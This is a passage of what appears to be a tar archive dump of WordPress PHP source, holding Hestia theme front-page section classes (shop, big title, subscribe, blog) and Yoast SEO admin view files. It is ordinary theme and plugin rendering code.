$hestia_shop_title = get_theme_mod( 'hestia_shop_title', esc_html__( 'Products', 'hestia' ) );
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$wrapper_class = $is_shortcode === true ? 'is-shortcode' : 'section-gray';
$container_class = $is_shortcode === true ? '' : 'container';
hestia_before_shop_section_trigger(); ?>
<section class="hestia-shop products <?php echo esc_attr( $wrapper_class ); ?>" id="products"
data-sorder="hestia_shop" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_shop_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_shop_hide', true );
}
?>
<div class="<?php echo esc_attr( $container_class ); ?>">
<?php
hestia_top_shop_section_content_trigger();
if ( $is_shortcode === false ) {
?>
<div class="row">
<div class="col-md-8 col-md-offset-2 text-center hestia-shop-title-area">
<?php
hestia_display_customizer_shortcut( 'hestia_shop_title' );
if ( ! empty( $hestia_shop_title ) || is_customize_preview() ) :
?>
<h2 class="hestia-title"><?php echo wp_kses_post( $hestia_shop_title ); ?></h2>
<?php endif; ?>
<?php if ( ! empty( $hestia_shop_subtitle ) || is_customize_preview() ) : ?>
<h5 class="description"><?php echo hestia_sanitize_string( $hestia_shop_subtitle ); ?></h5>
<?php endif; ?>
</div>
</div>
<?php
}
$this->shop_content();
hestia_bottom_shop_section_content_trigger();
?>
</div>
<?php hestia_after_shop_section_content_trigger(); ?>
</section>
<?php
hestia_after_shop_section_trigger();
}
/**
* Get content for shop section.
*
* @since 1.1.31
* @modified 1.1.45
* @access public
*/
public function shop_content() {
?>
<div class="hestia-shop-content">
<?php
$hestia_shop_shortcode = get_theme_mod( 'hestia_shop_shortcode' );
if ( ! empty( $hestia_shop_shortcode ) ) {
echo do_shortcode( $hestia_shop_shortcode );
echo '</div>';
return;
}
$hestia_shop_items = get_theme_mod( 'hestia_shop_items', 4 );
$args = array(
'post_type' => 'product',
);
$args['posts_per_page'] = ! empty( $hestia_shop_items ) ? absint( $hestia_shop_items ) : 4;
/* Exclude hidden products from the loop */
$args['tax_query'] = array(
array(
'taxonomy' => 'product_visibility',
'field' => 'name',
'terms' => 'exclude-from-catalog',
'operator' => 'NOT IN',
),
);
$hestia_shop_categories = get_theme_mod( 'hestia_shop_categories' );
if ( ! empty( $hestia_shop_categories ) ) {
array_push(
$args['tax_query'],
array(
'taxonomy' => 'product_cat',
'field' => 'term_id',
'terms' => $hestia_shop_categories,
)
);
}
$hestia_shop_order = get_theme_mod( 'hestia_shop_order', 'DESC' );
if ( ! empty( $hestia_shop_order ) ) {
$args['order'] = $hestia_shop_order;
}
$loop = new WP_Query( $args );
if ( $loop->have_posts() ) {
$i = 1;
echo '<div class="row"' . hestia_add_animationation( 'fade-up' ) . '>';
while ( $loop->have_posts() ) {
$loop->the_post();
global $product;
global $post;
?>
<div class="col-ms-6 col-sm-6 col-md-3 shop-item">
<div class="card card-product">
<?php
$thumbnail = function_exists( 'woocommerce_get_product_thumbnail' ) ? woocommerce_get_product_thumbnail() : '';
if ( empty( $thumbnail ) && function_exists( 'wc_placeholder_img' ) ) {
$thumbnail = wc_placeholder_img();
}
if ( ! empty( $thumbnail ) ) {
?>
<div class="card-image">
<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title_attribute(); ?>">
<?php echo $thumbnail; ?>
</a>
<div class="ripple-container"></div>
</div>
<?php
}
?>
<div class="content">
<?php
if ( function_exists( 'wc_get_product_category_list' ) ) {
$prod_id = get_the_ID();
$product_categories = wc_get_product_category_list( $prod_id );
} else {
$product_categories = $product->get_categories();
}
if ( ! empty( $product_categories ) ) {
/**
* Explode categories in words by ',' separator and show only the first 2. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_category_words, then show all categories.
*/
$categories = explode( ',', $product_categories );
$nb_of_cat = apply_filters( 'hestia_shop_category_words', 2 );
$nb_of_cat = intval( $nb_of_cat );
$cat = $nb_of_cat > -1 ? hestia_limit_content( $categories, $nb_of_cat, ',', false ) : $product_categories;
$allowed_html = array(
'a' => array(
'href' => array(),
'rel' => array(),
),
);
echo '<h6 class="category">';
echo wp_kses( $cat, $allowed_html );
echo '</h6>';
}
?>
<h4 class="card-title">
<?php
/**
* Explode title in words by ' ' separator and show only the first 6 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_title_words, then show the full title
*/
$title = the_title( '', '', false );
$title_in_words = explode( ' ', $title );
$title_limit = apply_filters( 'hestia_shop_title_words', -1 );
$title_limit = intval( $title_limit );
$limited_title = $title_limit > -1 ? hestia_limit_content( $title_in_words, $title_limit, ' ' ) : $title;
?>
<a class="shop-item-title-link" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php echo esc_html( $limited_title ); ?></a>
</h4>
<?php
if ( $post->post_excerpt ) {
/**
* Explode the excerpt in words by ' ' separator and show only the first 60 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_excerpt_words, then use the normal behavior from woocommece ( show post excerpt )
*/
$excerpt_in_words = explode( ' ', $post->post_excerpt );
$excerpt_limit = apply_filters( 'hestia_shop_excerpt_words', 60 );
$excerpt_limit = intval( $excerpt_limit );
$limited_excerpt = $excerpt_limit > -1 ? hestia_limit_content( $excerpt_in_words, $excerpt_limit, ' ' ) : $post->post_excerpt;
?>
<div class="card-description"><?php echo wp_kses_post( apply_filters( 'woocommerce_short_description', $limited_excerpt ) ); ?></div>
<?php
}
?>
<div class="footer">
<?php
$product_price = $product->get_price_html();
if ( ! empty( $product_price ) ) {
echo '<div class="price"><h4>';
echo wp_kses(
$product_price, array(
'span' => array(
'class' => array(),
),
'del' => array(),
)
);
echo '</h4></div>';
}
?>
<div class="stats">
<?php hestia_add_to_cart(); ?>
</div>
</div>
</div>
</div>
</div>
<?php
if ( $i % 4 == 0 ) {
echo '</div><!-- /.row -->';
echo '<div class="row">';
}
$i ++;
}
wp_reset_postdata();
echo '</div>';
}
?>
</div>
<?php
}
}
front-page/class-hestia-big-title-section.php 0000666 00000016142 15111734607 0015234 0 ustar 00 <?php
/**
* The Big title section handler.
*
* @package Hestia
*/
/**
* Class Hestia_Big_Title_Section
*/
class Hestia_Big_Title_Section extends Hestia_First_Front_Page_Section {
/**
* Initialize the big title content.
*/
public function init() {
parent::init();
add_action( 'hestia_first_front_page_section_content', array( $this, 'render_big_title_content' ) );
}
/**
* Utility to check if we should display parallax.
* In hestia lite, hestia_slider_type control does not exist before refactor so we must check if both layers are not empty.
*/
public static function should_display_parallax() {
$hestia_big_title_type = get_theme_mod( 'hestia_slider_type' );
/**
* In hestia lite, hestia_slider_type control does not exist so we must check if both layers are not empty
*/
$parallax_layer1 = get_theme_mod( 'hestia_parallax_layer1', apply_filters( 'hestia_parallax_layer1_default', false ) );
$parallax_layer2 = get_theme_mod( 'hestia_parallax_layer2', apply_filters( 'hestia_parallax_layer2_default', false ) );
if ( empty( $hestia_big_title_type ) ) {
if ( empty( $parallax_layer1 ) ) {
return false;
}
if ( empty( $parallax_layer2 ) ) {
return false;
}
/**
* Update slider type if hestia_slider_type in lite
*/
$should_update = get_option( 'update_slider_type' );
if ( $should_update !== true ) {
set_theme_mod( 'hestia_slider_type', 'parallax' );
update_option( 'update_slider_type', true );
}
} else {
if ( $hestia_big_title_type !== 'parallax' ) {
return false;
}
if ( empty( $parallax_layer1 ) ) {
return false;
}
if ( empty( $parallax_layer2 ) ) {
return false;
}
}
return true;
}
/**
* The main render function for this section.
*/
public function render_big_title_content() {
$this->maybe_render_parallax();
$this->render_content();
}
/**
* Render the big title content.
*/
public function render_content() {
$section_content = $this->get_big_title_content();
$big_title_background = $this->get_big_title_background();
if ( empty( $big_title_background ) && empty( $section_content ) ) {
return;
} ?>
<div class="item active">
<div class="page-header">
<?php
if ( is_customize_preview() ) {
echo '<div class="big-title-image"></div>';
}
hestia_before_big_title_section_content_trigger();
?>
<div class="container">
<?php hestia_top_big_title_section_content_trigger(); ?>
<div class="row hestia-big-title-content">
<?php $this->show_big_title_content( $section_content ); ?>
</div>
<?php hestia_bottom_big_title_section_content_trigger(); ?>
</div><!-- /.container -->
<div class="header-filter"
<?php
if ( ! empty( $big_title_background ) ) {
echo 'style="background-image: url(' . esc_url( $big_title_background ) . ')"';
}
?>
></div><!-- /.header-filter -->
<?php hestia_after_big_title_section_content_trigger(); ?>
</div><!-- /.page-header -->
</div>
<?php
}
/**
* Get the big title background.
*
* @return string
*/
protected function get_big_title_background() {
$background = '';
if ( ! $this->should_display_parallax() ) {
$background = get_theme_mod( 'hestia_big_title_background', apply_filters( 'hestia_big_title_background_default', get_template_directory_uri() . '/assets/img/slider2.jpg' ) );
}
return $background;
}
/**
* Display big title section content.
*
* @param array $content Section settings.
*
* @since 1.1.41
*/
public function show_big_title_content( $content ) {
$alignment = get_theme_mod( 'hestia_slider_alignment', 'center' );
$slider_elements_classes = $this->get_big_title_elements_class( $alignment );
$this->maybe_render_widgets_area( $alignment, 'right', 1 );
?>
<div class="
<?php
if ( ! empty( $slider_elements_classes['slide'] ) ) {
echo esc_attr( $slider_elements_classes['slide'] );
}
?>
">
<?php if ( ! empty( $content['title'] ) ) { ?>
<h1 class="hestia-title"><?php echo wp_kses_post( $content['title'] ); ?></h1>
<?php } ?>
<?php if ( ! empty( $content['text'] ) ) { ?>
<span class="sub-title"><?php echo wp_kses_post( $content['text'] ); ?></span>
<?php } ?>
<?php if ( ! empty( $content['button_link'] ) && ! empty( $content['button_text'] ) ) { ?>
<div class="buttons">
<a href="<?php echo esc_url( $content['button_link'] ); ?>"
title="<?php echo esc_html( $content['button_text'] ); ?>"
class="btn btn-primary btn-lg" <?php echo hestia_is_external_url( $content['button_link'] ); ?>><?php echo esc_html( $content['button_text'] ); ?></a>
<?php hestia_big_title_section_buttons_trigger(); ?>
</div>
<?php } ?>
</div>
<?php
$this->maybe_render_widgets_area( $alignment, 'left', 1 );
}
/**
* Get Big Title section content.
*
* @since 1.1.41
*/
public function get_big_title_content() {
$section_content = array();
$hestia_slider_alignment = get_theme_mod( 'hestia_slider_alignment', 'center' );
$class_to_add = ( ! empty( $hestia_slider_alignment ) ? 'text-' . $hestia_slider_alignment : 'text-center' );
if ( ! empty( $class_to_add ) ) {
$section_content['class_to_add'] = $class_to_add;
}
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$title_default = current_user_can( 'edit_theme_options' ) ? sprintf( esc_html__( 'Change in the %s', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_big_title_title' ) ), __( 'Customizer', 'hestia' ) ) ) : false;
$hestia_big_title_title = get_theme_mod( 'hestia_big_title_title', $title_default );
if ( ! empty( $hestia_big_title_title ) ) {
$section_content['title'] = $hestia_big_title_title;
}
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$text_default = current_user_can( 'edit_theme_options' ) ? sprintf( esc_html__( 'Change in the %s', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_big_title_text' ) ), __( 'Customizer', 'hestia' ) ) ) : false;
$hestia_big_title_text = get_theme_mod( 'hestia_big_title_text', $text_default );
if ( ! empty( $hestia_big_title_text ) ) {
$section_content['text'] = $hestia_big_title_text;
}
$button_text_default = current_user_can( 'edit_theme_options' ) ? esc_html__( 'Change in the Customizer', 'hestia' ) : false;
$hestia_big_title_button_text = get_theme_mod( 'hestia_big_title_button_text', $button_text_default );
if ( ! empty( $hestia_big_title_button_text ) ) {
$section_content['button_text'] = $hestia_big_title_button_text;
}
$button_link_default = current_user_can( 'edit_theme_options' ) ? esc_url( admin_url( 'customize.php?autofocus[control]=hestia_big_title_button_text' ) ) : false;
$hestia_big_title_button_link = get_theme_mod( 'hestia_big_title_button_link', $button_link_default );
if ( ! empty( $hestia_big_title_button_link ) ) {
$section_content['button_link'] = $hestia_big_title_button_link;
}
return $section_content;
}
}
front-page/class-hestia-subscribe-section.php 0000666 00000011010 15111734607 0015322 0 ustar 00 <?php
/**
* The Subscribe Section
*
* @package Hestia
*/
/**
* Class Hestia_Subscribe_Section
*/
class Hestia_Subscribe_Section extends Hestia_Abstract_Main {
/**
* Initialize section.
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$old_priority = apply_filters( 'hestia_section_priority', 55, 'hestia_subscribe' );
$section_priority = apply_filters( 'hestia_section_priority', $old_priority, 'sidebar-widgets-subscribe-widgets' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_subscribe_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_subscribe_section', false );
}
/**
* Subscribe section content.
*
* @since Hestia 1.0
* @modified 1.1.51
*
* @param bool $is_shortcode flag used if section is called via a shortcode.
*/
function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_subscribe_hide', true );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style .= 'display: none;';
} else {
return;
}
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_subscribe_subtitle = get_theme_mod( 'hestia_subscribe_subtitle', sprintf( __( 'Change this subtitle in %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_subscribe_subtitle' ) ), __( 'customizer', 'hestia' ) ) ) );
} else {
$hestia_subscribe_subtitle = get_theme_mod( 'hestia_subscribe_subtitle' );
}
$hestia_subscribe_title = get_theme_mod( 'hestia_subscribe_title', __( 'Subscribe to our Newsletter', 'hestia' ) );
$hestia_subscribe_background = get_theme_mod( 'hestia_subscribe_background', get_template_directory_uri() . '/assets/img/about.jpg' );
if ( ! empty( $hestia_subscribe_background ) ) {
$section_style .= 'background-image: url(' . esc_url( $hestia_subscribe_background ) . ');';
}
$section_style = 'style="' . esc_attr( $section_style ) . '"';
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$class_to_add = $is_shortcode === true ? 'is-shortcode ' : '';
$class_to_add .= ! empty( $hestia_subscribe_background ) ? 'subscribe-line-image' : '';
hestia_before_subscribe_section_trigger(); ?>
<section class="hestia-subscribe subscribe-line <?php echo esc_attr( $class_to_add ); ?>" id="subscribe"
data-sorder="hestia_subscribe" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_subscribe_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_subscribe_hide', true );
}
?>
<div class="container">
<?php hestia_top_subscribe_section_content_trigger(); ?>
<div class="row text-center">
<div class="col-md-8 col-md-offset-2 text-center hestia-subscribe-title-area">
<?php
hestia_display_customizer_shortcut( 'hestia_subscribe_title' );
if ( ! empty( $hestia_subscribe_title ) || is_customize_preview() ) :
?>
<h2 class="title"><?php echo wp_kses_post( $hestia_subscribe_title ); ?></h2>
<?php endif; ?>
<?php if ( ! empty( $hestia_subscribe_subtitle ) || is_customize_preview() ) : ?>
<h5 class="subscribe-description"><?php echo hestia_sanitize_string( $hestia_subscribe_subtitle ); ?></h5>
<?php endif; ?>
</div>
</div>
<?php if ( is_active_sidebar( 'subscribe-widgets' ) ) : ?>
<div class="row">
<div class="col-md-6 col-md-offset-3">
<div class="card card-raised card-form-horizontal" <?php echo hestia_add_animationation( 'fade-down' ); ?>>
<div class="content">
<div class="row">
<?php dynamic_sidebar( 'subscribe-widgets' ); ?>
</div>
</div>
</div>
</div>
</div>
<?php endif; ?>
<?php hestia_bottom_subscribe_section_content_trigger(); ?>
</div>
<?php hestia_after_subscribe_section_content_trigger(); ?>
</section>
<?php
hestia_after_subscribe_section_trigger();
}
}
front-page/class-hestia-blog-section.php 0000666 00000013425 15111734607 0014300 0 ustar 00 <?php
/**
* The Blog Section
*
* @package Hestia
*/
/**
* Class Hestia_Blog_Section
*/
class Hestia_Blog_Section extends Hestia_Abstract_Main {
/**
* Initialize Blog Section
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in/
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 60, 'hestia_blog' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ), 2 );
add_action( 'hestia_do_blog_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_blog_section', false );
}
/**
* Blog section content.
*/
public function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_blog_hide', false );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style = 'style="display: none"';
} else {
return;
}
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_blog_subtitle = get_theme_mod( 'hestia_blog_subtitle', sprintf( __( 'Change this subtitle in the %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_blog_subtitle' ) ), __( 'Customizer', 'hestia' ) ) ) );
} else {
$hestia_blog_subtitle = get_theme_mod( 'hestia_blog_subtitle' );
}
$hestia_blog_title = get_theme_mod( 'hestia_blog_title', __( 'Blog', 'hestia' ) );
if ( $is_shortcode ) {
$hestia_blog_title = '';
$hestia_blog_subtitle = '';
}
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$wrapper_class = $is_shortcode === true ? 'is-shortcode' : '';
$container_class = $is_shortcode === true ? '' : 'container';
hestia_before_blog_section_trigger(); ?>
<section class="hestia-blogs <?php echo esc_attr( $wrapper_class ); ?>" id="blog"
data-sorder="hestia_blog" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_blog_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_blog_hide', true );
}
?>
<div class="<?php echo esc_attr( $container_class ); ?>">
<?php
hestia_top_blog_section_content_trigger();
if ( $is_shortcode === false ) {
?>
<div class="row">
<div class="col-md-8 col-md-offset-2 text-center hestia-blogs-title-area">
<?php
hestia_display_customizer_shortcut( 'hestia_blog_title' );
if ( ! empty( $hestia_blog_title ) || is_customize_preview() ) {
echo '<h2 class="hestia-title">' . wp_kses_post( $hestia_blog_title ) . '</h2>';
}
if ( ! empty( $hestia_blog_subtitle ) || is_customize_preview() ) {
echo '<h5 class="description">' . hestia_sanitize_string( $hestia_blog_subtitle ) . '</h5>';
}
?>
</div>
</div>
<?php
}
?>
<div class="hestia-blog-content">
<?php
$this->blog_content();
?>
</div>
<?php hestia_bottom_blog_section_content_trigger(); ?>
</div>
<?php hestia_after_blog_section_content_trigger(); ?>
</section>
<?php
hestia_after_blog_section_trigger();
}
/**
* Blog content/
*/
public function blog_content() {
$hestia_blog_items = get_theme_mod( 'hestia_blog_items', 3 );
$args = array(
'ignore_sticky_posts' => true,
);
$args['posts_per_page'] = ! empty( $hestia_blog_items ) ? absint( $hestia_blog_items ) : 3;
$hestia_blog_categories = get_theme_mod( 'hestia_blog_categories' );
if ( ! empty( $hestia_blog_categories[0] ) && sizeof( $hestia_blog_categories ) >= 1 ) {
$args['tax_query'] = array(
array(
'taxonomy' => 'category',
'field' => 'term_id',
'terms' => $hestia_blog_categories,
),
);
}
$loop = new WP_Query( $args );
$allowed_html = array(
'br' => array(),
'em' => array(),
'strong' => array(),
'i' => array(
'class' => array(),
),
'span' => array(),
);
if ( ! $loop->have_posts() ) {
return;
}
$i = 1;
echo '<div class="row" ' . hestia_add_animationation( 'fade-up' ) . '>';
while ( $loop->have_posts() ) :
$loop->the_post();
?>
<article class="col-xs-12 col-ms-10 col-ms-offset-1 col-sm-8 col-sm-offset-2 <?php echo esc_attr( apply_filters( 'hestia_blog_per_row_class', 'col-md-4' ) ); ?> hestia-blog-item">
<div class="card card-plain card-blog">
<?php if ( has_post_thumbnail() ) : ?>
<div class="card-image">
<a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>">
<?php the_post_thumbnail( 'hestia-blog' ); ?>
</a>
</div>
<?php endif; ?>
<div class="content">
<h6 class="category"><?php hestia_category(); ?></h6>
<h4 class="card-title">
<a class="blog-item-title-link" href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title_attribute(); ?>" rel="bookmark">
<?php echo wp_kses( force_balance_tags( get_the_title() ), $allowed_html ); ?>
</a>
</h4>
<p class="card-description"><?php echo wp_kses_post( get_the_excerpt() ); ?></p>
</div>
</div>
</article>
<?php
if ( $i % apply_filters( 'hestia_blog_per_row_no', 3 ) == 0 ) {
echo '</div><!-- /.row -->';
echo '<div class="row" ' . hestia_add_animationation( 'fade-up' ) . '>';
}
$i++;
endwhile;
echo '</div>';
wp_reset_postdata();
}
}
user-profile.php 0000666 00000006507 15112332326 0007703 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*
* @uses object $user
*/
/* translators: %1$s expands to Yoast SEO */
$wpseo_up_settings_header = sprintf( __( '%1$s settings', 'wordpress-seo' ), 'Yoast SEO' );
$wpseo_no_index_author_label = sprintf(
/* translators: %s expands to "this author's archives". */
__( 'Do not allow search engines to show %s in search results.', 'wordpress-seo' ),
__( 'this author\'s archives', 'wordpress-seo' )
);
?>
<div class="yoast yoast-settings">
<h2 id="wordpress-seo"><?php echo esc_html( $wpseo_up_settings_header ); ?></h2>
<?php if ( ! WPSEO_Options::get( 'disable-author' ) ) : ?>
<label for="wpseo_author_title"><?php esc_html_e( 'Title to use for Author page', 'wordpress-seo' ); ?></label>
<input class="yoast-settings__text regular-text" type="text" id="wpseo_author_title" name="wpseo_author_title"
value="<?php echo esc_attr( get_the_author_meta( 'wpseo_title', $user->ID ) ); ?>"/><br>
<label for="wpseo_author_metadesc"><?php esc_html_e( 'Meta description to use for Author page', 'wordpress-seo' ); ?></label>
<textarea rows="5" cols="30" id="wpseo_author_metadesc"
class="yoast-settings__textarea yoast-settings__textarea--medium"
name="wpseo_author_metadesc"><?php echo esc_textarea( get_the_author_meta( 'wpseo_metadesc', $user->ID ) ); ?></textarea><br>
<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_noindex_author"
name="wpseo_noindex_author"
value="on" <?php echo ( get_the_author_meta( 'wpseo_noindex_author', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
<label class="yoast-label-strong"
for="wpseo_noindex_author"><?php echo esc_html( $wpseo_no_index_author_label ); ?></label><br>
<?php endif; ?>
<?php if ( WPSEO_Options::get( 'keyword_analysis_active', false ) ) : ?>
<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_keyword_analysis_disable"
name="wpseo_keyword_analysis_disable" aria-describedby="wpseo_keyword_analysis_disable_desc"
value="on" <?php echo ( get_the_author_meta( 'wpseo_keyword_analysis_disable', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
<label class="yoast-label-strong"
for="wpseo_keyword_analysis_disable"><?php esc_html_e( 'Disable SEO analysis', 'wordpress-seo' ); ?></label>
<br>
<p class="description" id="wpseo_keyword_analysis_disable_desc">
<?php esc_html_e( 'Removes the focus keyphrase section from the metabox and disables all SEO-related suggestions.', 'wordpress-seo' ); ?>
</p>
<?php endif; ?>
<?php if ( WPSEO_Options::get( 'content_analysis_active', false ) ) : ?>
<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_content_analysis_disable"
name="wpseo_content_analysis_disable" aria-describedby="wpseo_content_analysis_disable_desc"
value="on" <?php echo ( get_the_author_meta( 'wpseo_content_analysis_disable', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
<label class="yoast-label-strong"
for="wpseo_content_analysis_disable"><?php esc_html_e( 'Disable readability analysis', 'wordpress-seo' ); ?></label>
<br>
<p class="description" id="wpseo_content_analysis_disable_desc">
<?php esc_html_e( 'Removes the readability analysis section from the metabox and disables all readability-related suggestions.', 'wordpress-seo' ); ?>
</p>
<?php endif; ?>
<?php do_action( 'wpseo_render_user_profile', $user ); ?>
</div>
class-yoast-integration-toggles.php 0000666 00000012521 15112332326 0013505 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
/**
* Class for managing integration toggles.
*/
class Yoast_Integration_Toggles {
/**
* Available integration toggles.
*
* @var array
*/
protected $toggles;
/**
* Instance holder.
*
* @var self|null
*/
protected static $instance = null;
/**
* Gets the main integration toggles manager instance used.
*
* This essentially works like a Singleton, but for its drawbacks does not restrict
* instantiation otherwise.
*
* @return self Main instance.
*/
public static function instance() {
if ( self::$instance === null ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Gets all available integration toggles.
*
* @return array List of sorted Yoast_Feature_Toggle instances.
*/
public function get_all() {
if ( $this->toggles === null ) {
$this->toggles = $this->load_toggles();
}
return $this->toggles;
}
/**
* Loads the available integration toggles.
*
* Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value.
*
* @return array List of sorted Yoast_Feature_Toggle instances.
*/
protected function load_toggles() {
$integration_toggles = [
(object) [
/* translators: %s: 'Semrush' */
'name' => sprintf( __( '%s integration', 'wordpress-seo' ), 'Semrush' ),
'setting' => 'semrush_integration_active',
'label' => sprintf(
/* translators: %s: 'Semrush' */
__( 'The %s integration offers suggestions and insights for keywords related to the entered focus keyphrase.', 'wordpress-seo' ),
'Semrush'
),
'order' => 10,
],
(object) [
/* translators: %s: Zapier. */
'name' => \sprintf( \esc_html__( '%s integration', 'wordpress-seo' ), 'Zapier' ),
'premium' => true,
'setting' => 'zapier_integration_active',
'label' => \sprintf(
/* translators: 1: Yoast SEO, 2: Zapier. */
\__( 'Set up automated actions when you publish or update your content. By connecting %1$s with %2$s, you can easily send out your published posts to any of its 2000+ destinations, such as Twitter, Facebook and more.', 'wordpress-seo' ),
'Yoast SEO',
'Zapier'
),
/* translators: %s: Zapier. */
'read_more_label' => \sprintf( \__( 'Find out more about our %s integration.', 'wordpress-seo' ), 'Zapier' ),
'read_more_url' => 'https://yoa.st/4et',
'premium_url' => 'https://yoa.st/46o',
'premium_upsell_url' => 'https://yoa.st/get-zapier-integration',
'order' => 20,
],
(object) [
/* translators: %s: Algolia. */
'name' => \sprintf( \esc_html__( '%s integration', 'wordpress-seo' ), 'Algolia' ),
'premium' => true,
'setting' => 'algolia_integration_active',
'label' => __( 'Improve the quality of your site search! Automatically helps your users find your cornerstone and most important content in your internal search results. It also removes noindexed posts & pages from your site’s search results.', 'wordpress-seo' ),
/* translators: %s: Algolia. */
'read_more_label' => \sprintf( \__( 'Find out more about our %s integration.', 'wordpress-seo' ), 'Algolia' ),
'read_more_url' => 'https://yoa.st/4eu',
'premium_url' => 'https://yoa.st/4ex',
'premium_upsell_url' => 'https://yoa.st/get-algolia-integration',
'order' => 25,
],
];
/**
* Filter to add integration toggles from add-ons.
*
* @param array $integration_toggles Array with integration toggle objects where each object
* should have a `name`, `setting` and `label` property.
*/
$integration_toggles = apply_filters( 'wpseo_integration_toggles', $integration_toggles );
$integration_toggles = array_map( [ $this, 'ensure_toggle' ], $integration_toggles );
usort( $integration_toggles, [ $this, 'sort_toggles_callback' ] );
return $integration_toggles;
}
/**
* Ensures that the passed value is a Yoast_Feature_Toggle.
*
* @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array
* containing integration toggle data.
* @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data.
*/
protected function ensure_toggle( $toggle_data ) {
if ( $toggle_data instanceof Yoast_Feature_Toggle ) {
return $toggle_data;
}
if ( is_object( $toggle_data ) ) {
$toggle_data = get_object_vars( $toggle_data );
}
return new Yoast_Feature_Toggle( $toggle_data );
}
/**
* Callback for sorting integration toggles by their order.
*
* {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function
* can be replaced with the spaceship operator `<=>`.}
*
* @param Yoast_Feature_Toggle $feature_a Feature A.
* @param Yoast_Feature_Toggle $feature_b Feature B.
*
* @return int An integer less than, equal to, or greater than zero indicating respectively
* that feature A is considered to be less than, equal to, or greater than feature B.
*/
protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) {
return ( $feature_a->order - $feature_b->order );
}
}
class-view-utils.php 0000666 00000012631 15112332326 0010475 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
/**
* Class Yoast_View_Utils.
*/
class Yoast_View_Utils {
/**
* Form to use.
*
* @var Yoast_Form
*/
protected $form;
/**
* Yoast_View_Utils constructor.
*/
public function __construct() {
$this->form = Yoast_Form::get_instance();
}
/**
* Shows the search results help question mark and help section.
*
* Used for all the Help sections for indexable objects like post types, taxonomies, or archives.
*
* @param string|object $post_type The post type to show the search results help for.
* @param string $help_text_switch Switch the help text to one that's more appropriate
* for the indexable object type the help section is for.
*
* @return object The help panel instance.
*/
public function search_results_setting_help( $post_type, $help_text_switch = '' ) {
if ( ! is_object( $post_type ) ) {
$post_type = get_post_type_object( $post_type );
}
/* translators: 1: expands to an indexable object's name, like a post type or taxonomy; 2: expands to <code>noindex</code>; 3: link open tag; 4: link close tag. */
$help_text = esc_html__( 'Not showing %1$s in the search results technically means those will have a %2$s robots meta and will be excluded from XML sitemaps. %3$sMore info on the search results settings%4$s.', 'wordpress-seo' );
if ( $help_text_switch === 'archive' ) {
